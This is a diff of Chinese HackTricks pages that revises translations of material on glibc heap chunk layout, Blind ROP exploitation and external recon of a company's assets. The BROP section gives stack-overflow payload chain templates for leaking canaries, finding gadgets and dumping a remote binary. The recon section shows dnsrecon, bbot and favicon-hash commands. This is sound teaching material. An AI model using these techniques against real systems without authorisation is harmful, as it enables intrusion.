* `top` 块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。
|
||||||
* `last reminder`块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放在这里。
|
* `last reminder` 块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,指向剩余部分的指针放置在这里。
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||||
|
|
||||||
|
@ -159,15 +159,15 @@ typedef struct malloc_chunk* mchunkptr;
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
元数据通常是0x08B,使用最后3位表示当前块大小:
|
元数据通常是0x08B,表示当前块大小,最后3位用于指示:
|
||||||
|
|
||||||
* `A`:如果为1,则来自子堆;如果为0,则在主区域中
|
* `A`:如果为1,则来自子堆,如果为0,则在主区域
|
||||||
* `M`:如果为1,则该块是使用mmap分配的空间的一部分,而不是堆的一部分
|
* `M`:如果为1,则该块是使用mmap分配的空间的一部分,而不是堆的一部分
|
||||||
* `P`:如果为1,则前一个块正在使用中
|
* `P`:如果为1,则前一个块正在使用中
|
||||||
|
|
||||||
然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。
|
然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。
|
||||||
|
|
||||||
此外,当可用时,用户数据还用于包含一些数据:
|
此外,当可用时,用户数据也用于包含一些数据:
|
||||||
|
|
||||||
* **`fd`**:指向下一个块的指针
|
* **`fd`**:指向下一个块的指针
|
||||||
* **`bk`**:指向前一个块的指针
|
* **`bk`**:指向前一个块的指针
|
||||||
|
@ -182,7 +182,7 @@ typedef struct malloc_chunk* mchunkptr;
|
||||||
|
|
||||||
### 块指针
|
### 块指针
|
||||||
|
|
||||||
当使用malloc时,返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开头的指针。\
|
当使用malloc时,返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开始的指针。\
|
||||||
为这些转换使用这些函数:
|
为这些转换使用这些函数:
|
||||||
```c
|
```c
|
||||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||||
|
@ -201,7 +201,7 @@ typedef struct malloc_chunk* mchunkptr;
|
||||||
#define MINSIZE \
|
#define MINSIZE \
|
||||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||||
```
|
```
|
||||||
### 对齐和最小大小
|
### 对齐与最小大小
|
||||||
|
|
||||||
指向块的指针和 `0x0f` 必须为 0。
|
指向块的指针和 `0x0f` 必须为 0。
|
||||||
```c
|
```c
|
||||||
|
@ -414,7 +414,7 @@ strcpy(ptr, "panda");
|
||||||
|
|
||||||
可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未被使用**(长度为 0),而这个块的长度为 `0x21`。
|
可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未被使用**(长度为 0),而这个块的长度为 `0x21`。
|
||||||
|
|
||||||
保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着保留了 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
|
保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着它保留了 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
|
||||||
```
|
```
|
||||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||||
|
@ -470,19 +470,19 @@ return 0;
|
||||||
|
|
||||||
调试前面的示例可以看到,开始时只有 1 个 arena:
|
调试前面的示例可以看到,开始时只有 1 个 arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
然后,在调用第一个线程,即调用 malloc 的线程后,创建了一个新的 arena:
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
然后,在调用第一个线程后,即调用 malloc 的线程,创建了一个新的 arena:
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
在其中可以找到一些 chunks:
|
在其中可以找到一些 chunks:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Bins & Memory Allocations/Frees
|
## Bins & Memory Allocations/Frees
|
||||||
|
|
||||||
检查 bins 是什么以及它们是如何组织的,以及内存是如何分配和释放的:
|
检查 bins 是什么,它们是如何组织的,以及内存是如何分配和释放的:
|
||||||
|
|
||||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# BROP - Blind Return Oriented Programming
|
# BROP - Blind Return Oriented Programming
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -20,12 +20,12 @@
|
||||||
此攻击的目标是能够**通过缓冲区溢出滥用 ROP,而无需任何关于易受攻击二进制文件的信息**。\
|
此攻击的目标是能够**通过缓冲区溢出滥用 ROP,而无需任何关于易受攻击二进制文件的信息**。\
|
||||||
此攻击基于以下场景:
|
此攻击基于以下场景:
|
||||||
|
|
||||||
* 一个堆栈漏洞和触发它的知识。
|
* 一个栈漏洞和触发它的知识。
|
||||||
* 一个在崩溃后重启的服务器应用程序。
|
* 一个在崩溃后重启的服务器应用程序。
|
||||||
|
|
||||||
## 攻击
|
## 攻击
|
||||||
|
|
||||||
### **1. 找到易受攻击的偏移** 发送一个字符,直到检测到服务器故障
|
### **1. 找到易受攻击的偏移量**,发送一个字符直到检测到服务器故障
|
||||||
|
|
||||||
### **2. 暴力破解 canary** 以泄露它
|
### **2. 暴力破解 canary** 以泄露它
|
||||||
|
|
||||||
|
@ -41,7 +41,7 @@
|
||||||
|
|
||||||
此技术使用 [**ret2csu**](ret2csu.md) gadget。这是因为如果您在某些指令中间访问此 gadget,您将获得控制**`rsi`**和**`rdi`**的 gadget:
|
此技术使用 [**ret2csu**](ret2csu.md) gadget。这是因为如果您在某些指令中间访问此 gadget,您将获得控制**`rsi`**和**`rdi`**的 gadget:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
这些将是 gadget:
|
这些将是 gadget:
|
||||||
|
|
||||||
|
@ -50,21 +50,21 @@
|
||||||
|
|
||||||
注意,通过这些 gadget 可以**控制 2 个参数**的函数调用。
|
注意,通过这些 gadget 可以**控制 2 个参数**的函数调用。
|
||||||
|
|
||||||
另外,请注意 ret2csu gadget 具有**非常独特的特征**,因为它将从堆栈中弹出 6 个寄存器。因此,发送一个链如:
|
另外,请注意 ret2csu gadget 具有**非常独特的特征**,因为它将从栈中弹出 6 个寄存器。因此,发送一个链如:
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||||
|
|
||||||
如果**STOP 被执行**,这基本上意味着使用了一个**从堆栈中弹出 6 个寄存器的地址**。或者使用的地址也是一个 STOP 地址。
|
如果**STOP 被执行**,这基本上意味着使用了一个**从栈中弹出 6 个寄存器的地址**。或者使用的地址也是一个 STOP 地址。
|
||||||
|
|
||||||
为了**消除这个最后的选项**,执行一个新的链,如下所示,并且它必须不执行 STOP gadget 以确认之前的确弹出了 6 个寄存器:
|
为了**消除这个最后的选项**,执行一个新的链,如下所示,并且它必须不执行 STOP gadget 以确认之前的确弹出了 6 个寄存器:
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR`
|
`'A' * offset + canary + rbp + ADDR`
|
||||||
|
|
||||||
知道 ret2csu gadget 的地址,可以**推断出控制 `rsi` 和 `rdi` 的 gadget 的地址**。
|
知道 ret2csu gadget 的地址后,可以**推断出控制 `rsi` 和 `rdi` 的 gadget 的地址**。
|
||||||
|
|
||||||
### 6. 找到 PLT
|
### 6. 找到 PLT
|
||||||
|
|
||||||
PLT 表可以从 0x400000 或从堆栈中**泄露的 RIP 地址**进行搜索(如果**PIE**正在使用)。表的**条目**是**每 16B 分隔**(0x10B),当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B 的条目地址也不会崩溃**,因为这是执行的第一段代码。
|
PLT 表可以从 0x400000 或从栈中**泄露的 RIP 地址**进行搜索(如果**PIE**正在使用)。表的**条目**是**每 16B 分隔**(0x10B),当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B 的条目地址也不会崩溃**,因为这是执行的第一段代码。
|
||||||
|
|
||||||
因此,可以通过检查以下行为找到 PLT 表:
|
因此,可以通过检查以下行为找到 PLT 表:
|
||||||
|
|
||||||
|
@ -83,7 +83,7 @@ PLT 表可以从 0x400000 或从堆栈中**泄露的 RIP 地址**进行搜索(
|
||||||
* strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
|
* strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
|
||||||
* strcmp(\<读取地址>, \<读取地址>) -> 不崩溃
|
* strcmp(\<读取地址>, \<读取地址>) -> 不崩溃
|
||||||
|
|
||||||
可以通过调用 PLT 表的每个条目或使用**PLT 慢路径**来检查这一点,慢路径基本上是**调用 PLT 表中的一个条目 + 0xb**(这会调用**`dlresolve`**),然后在堆栈中跟随**希望探测的条目编号**(从零开始)以扫描所有 PLT 条目:
|
可以通过调用 PLT 表的每个条目或使用**PLT 慢路径**来检查这一点,慢路径基本上是**调用 PLT 表中的一个条目 + 0xb**(这调用**`dlresolve`**),然后在栈中跟随**希望探测的条目编号**(从零开始)以扫描所有 PLT 条目:
|
||||||
|
|
||||||
* strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
|
* strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 将崩溃
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 将崩溃
|
||||||
|
@ -108,11 +108,11 @@ PLT 表可以从 0x400000 或从堆栈中**泄露的 RIP 地址**进行搜索(
|
||||||
|
|
||||||
最后,需要一个 gadget 来外泄数据,以便外泄二进制文件。在此时,可以**控制 2 个参数并将 `rdx` 设置为大于 0**。
|
最后,需要一个 gadget 来外泄数据,以便外泄二进制文件。在此时,可以**控制 2 个参数并将 `rdx` 设置为大于 0**。
|
||||||
|
|
||||||
有 3 个常见函数可以被滥用:
|
有 3 个常见的函数可以被滥用:
|
||||||
|
|
||||||
* `puts(data)`
|
* `puts(data)`
|
||||||
* `dprintf(fd, data)`
|
* `dprintf(fd, data)`
|
||||||
* `write(fd, data, len(data)`
|
* `write(fd, data, len(data))`
|
||||||
|
|
||||||
然而,原始论文只提到**`write`**,所以让我们谈谈它:
|
然而,原始论文只提到**`write`**,所以让我们谈谈它:
|
||||||
|
|
||||||
|
@ -136,16 +136,16 @@ PLT 表可以从 0x400000 或从堆栈中**泄露的 RIP 地址**进行搜索(
|
||||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -25,18 +25,18 @@
|
||||||
|
|
||||||
> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有什么。
|
> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有什么。
|
||||||
|
|
||||||
这个阶段的目标是获取**母公司拥有的所有公司**,然后获取这些公司的所有**资产**。为此,我们将:
|
这个阶段的目标是获取**主要公司拥有的所有公司**,然后获取这些公司的所有**资产**。为此,我们将:
|
||||||
|
|
||||||
1. 找到母公司的收购,这将给我们提供范围内的公司。
|
1. 找到主要公司的收购,这将给我们提供范围内的公司。
|
||||||
2. 找到每个公司的 ASN(如果有的话),这将给我们提供每个公司拥有的 IP 范围。
|
2. 找到每个公司的 ASN(如果有的话),这将给我们提供每个公司拥有的 IP 范围。
|
||||||
3. 使用反向 whois 查询搜索与第一个相关的其他条目(组织名称、域名...)(这可以递归进行)。
|
3. 使用反向 whois 查询搜索与第一个相关的其他条目(组织名称、域名...)(这可以递归进行)。
|
||||||
4. 使用其他技术,如 shodan `org` 和 `ssl` 过滤器来搜索其他资产(`ssl` 技巧可以递归进行)。
|
4. 使用其他技术,如 shodan `org` 和 `ssl` 过滤器来搜索其他资产(`ssl` 技巧可以递归进行)。
|
||||||
|
|
||||||
### **收购**
|
### **收购**
|
||||||
|
|
||||||
首先,我们需要知道**母公司拥有的其他公司**。\
|
首先,我们需要知道**主要公司拥有的其他公司**。\
|
||||||
一个选项是访问 [https://www.crunchbase.com/](https://www.crunchbase.com),**搜索** **母公司**,并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
|
一个选项是访问 [https://www.crunchbase.com/](https://www.crunchbase.com),**搜索** **主要公司**,并**点击**“**收购**”。在那里你将看到主要公司收购的其他公司。\
|
||||||
另一个选项是访问母公司的 **维基百科** 页面并搜索 **收购**。
|
另一个选项是访问主要公司的 **维基百科** 页面并搜索 **收购**。
|
||||||
|
|
||||||
> 好吧,到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
|
> 好吧,到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
|
||||||
|
|
||||||
|
@ -45,7 +45,7 @@
|
||||||
自治系统编号(**ASN**)是由 **互联网分配号码管理局(IANA)** 分配给 **自治系统**(AS)的 **唯一编号**。\
|
自治系统编号(**ASN**)是由 **互联网分配号码管理局(IANA)** 分配给 **自治系统**(AS)的 **唯一编号**。\
|
||||||
一个 **AS** 由 **IP 地址块** 组成,这些地址块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。
|
一个 **AS** 由 **IP 地址块** 组成,这些地址块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。
|
||||||
|
|
||||||
查找**公司是否分配了任何 ASN** 以找到其 **IP 范围** 是很有趣的。对所有**范围内的主机**进行 **漏洞测试** 并 **查找这些 IP 内的域名** 将是很有意义的。\
|
找出**公司是否分配了任何 ASN** 以找到其 **IP 范围** 是很有趣的。对所有**范围内的主机**进行 **漏洞测试** 并 **查找这些 IP 内的域名** 将是很有意义的。\
|
||||||
你可以在 [**https://bgp.he.net/**](https://bgp.he.net)** 中按公司 **名称**、**IP** 或 **域名** 进行 **搜索**。\
|
你可以在 [**https://bgp.he.net/**](https://bgp.he.net)** 中按公司 **名称**、**IP** 或 **域名** 进行 **搜索**。\
|
||||||
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/)**(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **(IP 范围和 Whois)** 可能已经在第一个链接中出现。
|
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/)**(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **(IP 范围和 Whois)** 可能已经在第一个链接中出现。
|
||||||
```bash
|
```bash
|
||||||
|
@ -70,7 +70,7 @@ bbot -t tesla.com -f subdomain-enum
|
||||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||||
|
|
||||||
```
|
```
|
||||||
您还可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API)。\
|
您可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API)。\
|
||||||
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。
|
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。
|
||||||
|
|
||||||
### **寻找漏洞**
|
### **寻找漏洞**
|
||||||
|
@ -89,7 +89,7 @@ _请注意,在以下提出的技术中,您还可以找到子域名,这些
|
||||||
|
|
||||||
### **反向 DNS**
|
### **反向 DNS**
|
||||||
|
|
||||||
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。
|
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的一些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||||
|
@ -101,13 +101,13 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||||
|
|
||||||
### **反向 Whois(循环)**
|
### **反向 Whois(循环)**
|
||||||
|
|
||||||
在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**,您可以找到 **与公司相关的更多资产**(例如,其他 whois 注册处中出现相同电子邮件的情况)。\
|
在 **whois** 中,您可以找到很多有趣的 **信息**,例如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**,您可以找到 **与公司相关的更多资产**(例如,其他 whois 注册处中出现相同电子邮件的情况)。\
|
||||||
您可以使用在线工具,如:
|
您可以使用在线工具,例如:
|
||||||
|
|
||||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
|
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
|
||||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
|
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
|
||||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
|
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
|
||||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网站,不免费 API。
|
* [https://www.whoxy.com/](https://www.whoxy.com) - **免费**网页,不免费API。
|
||||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
|
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
|
||||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询)
|
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询)
|
||||||
* [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
|
* [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
|
||||||
|
@ -117,12 +117,12 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||||
|
|
||||||
**请注意,每次找到新域名时,您可以使用此技术发现更多域名。**
|
**请注意,每次找到新域名时,您可以使用此技术发现更多域名。**
|
||||||
|
|
||||||
### **追踪器**
|
### **跟踪器**
|
||||||
|
|
||||||
如果在两个不同页面中找到 **相同的追踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\
|
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\
|
||||||
例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。
|
例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。
|
||||||
|
|
||||||
有一些页面和工具可以让您通过这些追踪器和更多内容进行搜索:
|
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索:
|
||||||
|
|
||||||
* [**Udon**](https://github.com/dhn/udon)
|
* [**Udon**](https://github.com/dhn/udon)
|
||||||
* [**BuiltWith**](https://builtwith.com)
|
* [**BuiltWith**](https://builtwith.com)
|
||||||
|
@ -139,9 +139,9 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
```
|
```
|
||||||
![favihash - 发现具有相同 favicon 图标哈希的域](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
![favihash - 发现具有相同 favicon 图标哈希的域](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||||
|
|
||||||
